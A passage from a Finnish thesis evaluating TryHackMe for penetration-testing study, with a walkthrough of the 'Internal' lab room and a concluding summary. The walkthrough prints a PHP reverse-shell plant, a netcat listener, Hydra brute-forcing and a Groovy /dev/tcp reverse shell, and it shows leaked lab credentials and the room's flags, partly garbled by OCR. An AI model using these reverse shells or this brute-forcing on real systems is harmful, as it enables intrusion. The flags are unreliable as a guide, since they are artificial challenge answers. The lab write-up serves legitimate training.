eli on siis myds olemassa William-niminen kayttaja, jonka salasana on oletettavasti "ar-
nold147”. Kumminkaan nama tunnukset eivat kay blogiin kirjautumiseen tai suoraan
palvelimeen ssh-yhteyden kautta. Blogin kayttajalistassa ei mydskaan ole William-ni-

mista kayttajaa.

Seuraavaksi voimme muokata sivulla kaytdssa olevaa teemaa ja hyvaksikayttaa php-
reverse shellid. Teemat kayttavat .php-tiedostoja hyvakseen ja naitéa voidaan muokata
esimerkiksi 404-php-tiedoston tilalle Kalin mukana tulevan php-reverse-shell.php tie-
doston. Kyseiseen reverse-shelliin taytyy ainoastaan muuttaa oman tietokoneen ip-
osoite ja haluttu portti. Seuraavaksi lisdtaédn tama tiedosto blogiin aidon .php-tiedoston
tilalle ja kaynnistetddn netcat-kuuntelijan valittuun porttiin, tdssa tapauksessa komen-
nolla netcat -lvnp 3421 eli kdynnistimme sen portissa 3421. Nyt tarvitsee ainoastaan
kaynnistaa tama 404 skripti ja koska wordpress-blogeissa on aina samanlainen ra-

kenne, tiedamme, etté se I6ytyy alihakemistosta blog/wp-
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content/themes/twentyseventeen/404.php ja kun menemme selaimella tdh&n hakemis-

toon, netcat saa reverse-shell yhteyden palvelimeen.

~

3421
listening on [any] 3421
connect to [10.9.6.171] from (UNKNOWN) [10.10.1233.171] 53464
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39
64 GNU/Linux
18:09:48 up 14 min, © users, load average: 0.00, 0.03, 0.08

USER TTY FROM LOGINQ@ IDLE JCPU PCPU WHAT
uid=33(wwmw-data) gid=33(wwmw-data) groups=33(wwm-data)
/bin/sh: @: can't access tty; job control turned off
$
$ whoami
ww-data

$ 1

Kuva 10 Netcattiin avautunut shell-ikkuna.

opt/-kansiosta 16ytyy mielenkiintoinen tekstitiedosto nimelta wp-save.txt joka sisaltaa

kuvan 11 mukaisen tiedon.

% cat wp-save.txt
Bill,

Aubreanna needed these credentials for something later. Let her know you have them and where they are.

aubreanna:bubbl3guM!@#123

51

Kuva 11 wp-save.txt.

Saimme siis toisen kayttajan tunnistautumistiedot haltuumme ja taten saame myds on-

nistuneen ssh-yhteyden palvelimeen komennolla "ssh aubreanna@10.10.133.171”

Aubreannan kotihakemistosta I0ytyy user.txt-tiedosto, joka siséltdd ensimmaisen tarvit-
semamme lipun. Lis&ksi on jenkins.txt-tiedosto, joka kertoo Jenkins-palvelun pydrivan
osoitteessa 172.17.0.2:8080.

aubreannaginternal:~% 1s
jenkins. txt user. txt

aubreannaginternal:~$% cat user.txt
THM{int3rnal_fl&g_1}

Kuva 12 Ensimmainen lippu.
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Tassa kohtaa voidaan ohjata oman jonkin omista porteistamme ohjaamaan kyseiseen
palvelimen localhost-osoitteeseen, jotta padsemme kasiksi Jenkinsiin. Tama onnistuu
esimerkiksi komennolla ” ssh -f -N -L 3421:127.0.0.1:8080 aubreanna@internal.thm”,
jossa ohjaamme kohteen 8080 portin omaan porttiin 3421. TAman jalkeen voimme
menna selaimella osoitteeseen 127.0.0.1:8080 eli kohdekoneen localhostin portti 8080
joka on nyt ohjattu omalle koneellemme. Linkista avautuu Jenkinsin kirjautumisruutu.
Tahan kirjautumiseen ei sopineet mitkdan tdssa haasteessa saamamme tunnukset, jo-
ten seuraavaksi koitan pakottaa sisaankirjautumisen Hydra-nimisen ohjelman avulla.
Tata varten pitdd kaapata sisaankirjautumispaketti esimerkiksi Burpsuite-nimisen ohjel-

man avulla, jotta ndhdéaéan tarkat parametrit ja ne voidaan syottaa Hydraan.

P fusr/share/wordlists/rockyou.txt
Imin&j_p

C & David Maciejak - Please do not use in military or secret
al purposes (this is non-binding, these *** ignore laws and et

[DATA]
5 tri

king http-post-for 8. j_acegi_security_c :j_username=admingj_passwo
+inglLogin i or password

r found)
ord found
) finished at

Kuva 13 Hydran kaytto ja tulokset

Hydra sai murrettua salasanan ja sisdankirjautuminen Jenkinsiin onnistuu. Jenkinsissa
on oma script console jossa voi suorittaa mita tahansa Groovy-kielen koodia.

Kaytamme "Pentestmonkeyn” groovy reverse shellia: ” r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.9.6.171/1234;cat <&5 | while read line;
do \$line 2>&5 >&5; done"] as String[])

p.waitFor()”, johon on vaihdettu oman koneen IP-osoite ja portti. Talla tavoin saamme
kuuntelijaan shell-yhteyden. Kansiosta /opt 16ytyy "note.txt” niminen tiedosto, joka sisal-
taa tunnukset "root:trOub13guM!@#123”. Tasta voidaan olettaa, etta ne ovat palveli-
men root-tunnukset. Otan SSH-yhteyden palvelimeen Aubreannan tunnuksilla ja si-
saankirjautumisen jalkeen vaihdan kayttajaa onnistuneesti rootiksi ja l6ydan root.txt-tie-

doston, joka sisaltaa viimeisen lipun.
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root@dinternal:/# cd root
root@internal:~# 1s
root.txt

root@internal:~# cat root
HM{d@ck3r_d3stroy3r}
root@internal:~# []

Kuva 14 Viimeinen lippu

Internal oli jo selke&sti haastavampi huone, ja se onkin TryHackMe-sivustolla luokiteltu
"hard” eli vaikean vaikeustason huoneeksi. Lisdksi tekniset ongelmat kuten VPN-yhtey-
den katkeaminen useampaan otteeseen toi lisdhaasteita tdahan haasteeseen. Internal
vaati melko laajaa tyokalu- ja hytkkaysskaalaa seka selkeasti luovempaa ajattelua kuin
tdman tyon aikaisemmat huoneet. En pitdisi huonetta kovin sopivana taysin uudelle

aloittelijalle, mutta pienellakin kokemuksella taméan huoneen saa voitettua.

5 Yhteenveto

Tyon tarkoituksena oli kayttada TryHackMe-palvelua ja pohtia miten se sopii tietoturva-
testauksen kaytannon opetteluun. Palvelu siséaltaa yli 600 huonetta, joista jokaisessa
on omat haasteensa. My0s eri opetuspolut tuovat suuren hyoédyn, koska ne jarjestele-
vat irtonaisia huoneita suuremmiksi poluiksi, joita kannattaa edeta jarjestyksessa. lIman
naita polkuja palvelun kaytt6 olisi aloittelijalle liki mahdotonta, koska huoneita olisi yk-

sinkertaisesti liikaa eika niitd kaytdnndssa voisi tehda parhaassa jarjestyksessa.

TryHackMen ulkoasu on erittdin kaytannollinen ja helppo navigoida. Etusivulta 16ytyy
oikeastaan kaikki tarvittava ja sivustolla on aarimmaisen helppo navigoida. TryHackMe
pelillistdd koko tietoturvatestauskonseptin, mika varmasti tuo osalle kayttgjista lisaa
motivaatiota suorittaa huoneita ja oppia lisda. Huoneista saa pisteité ja pisteilla oma tili

saa uusia tasoja. Tietyista huoneista saa myds erilaisia merkkeja mité voi esitella
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omassa profiilissaan. Mitdan kaytannon hyotyja naista ei ole, mutta ne tuovat alustalle
enemman nakyvaa kehittymista sekad saavutuksia. Sivusto myds nayttaa kalenterin, jo-
hon on merkitty, kuinka moneen kysymykseen on vastattu minékin paivana. Yhdessa
nama piirteet luovat jopa koukuttavan kokemuksen, joka mahdollisesti saa kayttajan
palaamaan palvelun pariin paivittain. Taman kaltainen tekeminen vaatiikin jatkuvaa
harjoittelua. Vaikka olisi kuinka hyvéa, mutta jos pitaa vaikka vuoden tauon tietoturvan

harjoittelusta niin suuri osa opituista asioista unohtuu.

Huoneiden sisaltd vaihtelee erittéin laajasti. Suurin osa huoneista on kaytantdpainottei-
sia, mutta sisaltavat tietenkin myoés jonkin verran teoriaa. On my6s huoneita, jotka pe-
rustuvat kokonaan joko pelkastaan teoriaan tai kaytantoon. Tasta huolimatta teorian
oppiminen tuntuu jdavan hieman véhemmalle kuin k&ytannén osaaminen, ja useasti te-
keekin jotain kaytanndssa minka teoriaa ei oikeasti ymmarra. Itse olen kokenut par-
haaksi, etta aina kun palvelussa tehdaan jotain mita ei taysin ymmarra, kannattaa etsia
netista lisatietoa teoriasta. Nain oppimisen tehokkuus paranee ja ymmartaa syvallisem-

min mita on tekemassa.

Tassa tyossa tutkittiin neljaa eri huonetta, joiden perusteella arvioitiin miten TryHackMe
sopii tietoturvatestauksen opiskeluun. Valitsemani huoneet edustivat kaikki erilaisia
haasteita ja olivat eri tasoisia vaikeudeltaan. Tama tietenkin on vain erittain pieni lapi-
leikkaus palvelun huoneisiin, mutta luonnollisesti niita kaikkia ei tietenk&aén voitu kasi-

tella tassa tydssa.

Kaiken kaikkiaan TryHackMe soveltuu tietoturvatestauksen opiskeluun kaiken tasoisille
oppijoille. Huoneet alkavat Windows-kayttojarjestelman perusominaisuuksista ja yltavat
melko haastaviin black box -haasteisiin asti. Opettelun voi tietenkin myds aloittaa ha-
luamaltaan tasolta, kenenkdan ei ole pakkoa aloittaa liian helpoista tai vaikeista huo-

neista.
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